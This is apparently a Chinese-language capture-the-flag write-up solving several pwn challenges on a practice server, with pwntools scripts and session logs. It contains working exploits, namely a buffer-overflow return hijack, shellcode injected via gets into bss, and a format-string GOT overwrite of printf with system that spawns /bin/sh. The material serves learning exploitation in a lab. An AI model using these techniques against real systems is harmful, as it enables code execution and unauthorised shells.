pwn-->fun
057 catflag
题目描述:
nc hackme.inndy.tw 7709
ry using nc connect to server!
yum install nc
nc hackme.inndy.tw 7709
cat flag
058 homework
从arr数组入手,修改返回地址。
from pwn import *
p = remote('hackme.inndy.tw', 7701)
context.log_level = 'debug'
p.sendlineafter("What's your name? ", 'yzy')
p.sendline('1')
p.sendlineafter('Index to edit: ', str(int(0x34+4)//4))
p.sendlineafter('How many? ', str(int('0x80485FB', 16)))
p.sendlineafter('0 > exit', '0')
p.interactive()
061 toooomuch
ROP
from pwn import *
p = remote('hackme.inndy.tw', 7702)
payload = 'a'*(0x18+4) + p32(0x804863B)
p.sendlineafter('Give me your passcode: ', payload)
p.interactive()
062 toooomuch-2
return到gets函数,将shellcode写入bss段(passcode),然后gets函数返回到bss段(passcode)处,并执行shellcode。
from pwn import *
get = 0x8048480
bss = 0x8049C60
payload = 'a'*(0x18+4) + p32(get) + p32(bss) + p32(bss)
p = remote('hackme.inndy.tw', 7702)
p.recvuntil('Give me your passcode:')
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()
没啥好说的,第一个p32(bss)是gets函数的参数,第二个是gets的返回地址ret。(有大佬说第一个是返回地址,第二个是参数,此处存疑。TODO)
今天在杭州的宾馆里,不知道为啥这里的网络能上hackme的网站,但是nc连接不上。所以在阿里云的centos7上nc的.
[root@izwdpnodbapihwz pwn]# vim toooomach.py
[root@izwdpnodbapihwz pwn]# python t*
[+] Opening connection to hackme.inndy.tw on port 7702: Done
[*] Switching to interactive mode
You are not allowed here!
$ ls
fake_flag
flag
run.sh
toooomuch
$ cat fake_flag
FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7}
$ cat flag
FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}
063 echo
经典的格式化字符串漏洞。和之前做的不同的是,这个题和GOT,PLT结合。
GOT(Global Offset Table),全局偏移表,用于记录在 ELF 文件中所用到的共享库中符号的绝对(真实)地址,是存放函数地址的数据表。
PLT(Procedure Linkage Table),过程链接表,作用是将位置无关的符号转移到绝对地址。
当一个外部符号被调用时,PLT 去引用 GOT 中的其符号对应的绝对地址,然后转入并执行
本题没有开始地址随机化,所以思路是获取system和printf静态地址通过格式化字符串漏洞(fgets),将printf在GOT中的值(printf函数的真实地址),覆写为system函数在PLT表中的地址,所以调用printf时,其实调用的是system。
首先我们要获取当时输入地址在栈内的偏移:
[root@izwdpnodbapihwz pwn]# nc hackme.inndy.tw 7711
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0x100.0xf7f275a0.(nil).0xf7f59000.0x80482e7.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025
很容易发现0x41414141(即AAAA)在栈内的偏移是7。
当然下面脚本也可以自动检测偏移
from pwn import *
context.log_level = 'debug'
def exec_fmt(payload):
p = remote('hackme.inndy.tw', 7711)
#p = process("a.out")
p.sendline(payload)
info = p.recv()
p.close()
return info
autofmt = FmtStr(exec_fmt)
print autofmt.offset
#经过一系列的尝试,脚本最终输出为7,见下图
from pwn import *
p = remote('hackme.inndy.tw',7711)
elf = ELF('./echo')
printf_got_addr = elf.got['printf']
system_plt_addr = elf.plt['system']
payload = fmtstr_payload(7, {printf_got_addr: system_plt_addr})
p.sendline(payload)
p.interactive()
fmtstr_payload是专门为32位程序格式化字符串漏洞输出payload的一个函数,第一个参数是一个偏移量(就是上面我们搞得那个),第二个参数是一个字典,往key的地址,写入value的值。
我们来分析下向服务器发送的数据:
先说明,我们可以获取0x0804a010是printf的got地址,0x08048400是system的plt地址。
首先是四个地址,0x0804a010~0x0804a013。
然后%240c%7$hhn ,向栈内偏移为7处的地址处(即0x0804a010,printf的首地址),写入(240+16) & 0xff = 0x00
之后的写入的依次是:
(132 + 0x00) & 0xff = 0x84,
(128 + 0x84) & 0xff = 0x04,
(4 + 0x04) & 0xff = 0x08
合起来就是system的地址,0x08048400
为了理解思想,这里摘录一个大佬的脚本,来源就是上面的链接。
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])
target = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')
plt_sys = elf.symbols['system']
got_printf = elf.got['printf']
print hex(plt_sys) #0x8048400
print hex(got_printf) #0x804a010
payload = p32(got_printf)
payload += p32(got_printf + 1)
payload += p32(got_printf + 2)
payload += p32(got_printf + 3)
payload += '%'
payload += str(0x100 - 0x10)
payload += 'c%7$hhn'
payload += '%'
payload += str(0x84)
payload += 'c%8$hhn'
payload += '%'
payload += str(0x104 - 0x84)
payload += 'c%9$hhn'
payload += '%'
payload += str(0x108 - 0x104)
payload += 'c%10$hhn'
# print payload
# payload2 = fmtstr_payload(7,{got_printf:plt_sys})
# print payload2
target.sendline(payload)
target.recvuntil('\n')
target.sendline('/bin/sh\x00')
target.interactive()
%n 一次性写入 4 个字节
%hn 一次性写入 2 个字节
%hhn 一次性写入 1 个字节
%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。
from 格式化字符串任意地址写操作学习小计
关于格式化字符串,另可参考Linux系统下格式化字符串利用研究
097 fast
- 规定时间内计算一万个表达式,正确则cat flag(开始时我走入误区,以为表达式个数随机,没想到10000就写在给出的程序中)
- 网速太慢,可能还没接受完数据就已经超时,可以挂梯子或直接海外服务器上跑脚本。我在杭州一宾馆网络超时,阿里云轻量有时超时有时正常,原来想直接上海外服务器的,可惜环境还没还来得及配好)
- 表达式形如
-38020440 * -70015297 = ?
(有些第二个数是负数,却没有括号括起来,所以并不能用eval直接计算) - 运算要遵循 C 语言下32位有符号整数的运算规则(注意除法的运算;结果是int32)(numpy的int32可将结果转换成c语言的int32)
import re
from numpy import int32
from pwn import *
def _eval(a, op, b):
if op == '+':
return int32(int(a) + int(b))
elif op == '-':
return int32(int(a) - int(b))
elif op == '*':
return int32(int(a) * int(b))
elif op == '/':
return int32(float(int(a)) / int(b))
#context.log_level = 'debug'
p = remote('hackme.inndy.tw', 7707)
p.recvuntil("Send 'Yes I know' to start the game.")
p.sendline('Yes I know')
datas = ''
while datas.count('\n') < 10000:
datas += p.recv()
formulas = datas.split('\n')
answer = []
for formula in formulas:
if formula != '':
params = formula.split(' ')
a, op , b = params[0], params[1], params[2]
answer.append(_eval(a,op,b))
answer = '\n'.join(list(map(str,answer)))
p.send(answer)
p.interactive()
参考了两个大佬的代码,他们的脚本具有学习的价值,所以也在这里记录一下。
#from http://m4x.fun/post/hackme.inndy-writeup/
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'
from pwn import *
from numpy import int32
import time
import re
# context.log_level = 'debug'
# io = process("./fast")
io = remote("hackme.inndy.tw", 7707)
io.sendlineafter("the game.\n", "Yes I know")
ans = ""
res = ""
f = lambda x: int32(int(x))
for i in xrange(10000):
n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ')
# print n1, op, n2
io.recvline()
if op == '+':
# print n1, op, n2
ans = str(f(n1) + f(n2))
if op == '-':
ans = str(f(n1) - f(n2))
if op == '*':
ans = str(f(n1) * f(n2))
if op == '/':
ans = str(int(float(n1) / int(n2)))
res += (ans + " ")
# print res
io.sendline(res)
io.interactive()
io.close()
知识点:
- lambda将
int32(int(x))
封装,简洁 recvuntil("=", drop = True).strip().split(' ')
,接收到等号,且丢弃等号(drop=false时,接受到等号且不丢弃等号)- 计算除法:
ans = str(int(float(n1) / int(n2)))
#from https://www.aloxaf.com/2018/07/hackme_inndy/#fast
%%cython
import cython
from pwn import *
@cython.cdivision(True)
def _eval(int a, op, int b):
if op == b'+':
return a + b
elif op == b'-':
return a - b
elif op == b'*':
return a * b
elif op == b'/':
return a / b
io = remote('hackme.inndy.tw', 7707)
io.recvuntil('start the game.\n')
io.sendline('Yes I know')
exps = b''
while exps.count(b'\n') != 10000:
exps += io.recv()
exps = exps.strip().split(b'\n')
ans = ''
for i in range(len(exps)):
exp = exps[i].split()
a, b = int(exp[0]), int(exp[2])
op = exp[1]
ans += f'{_eval(a, op, b)}\n'
io.send(ans)
io.interactive()
io.close()
知识点:
- cython(TODO)
while exps.count(b'\n') != 10000:
根据count('n')的数量来判断是否达到10000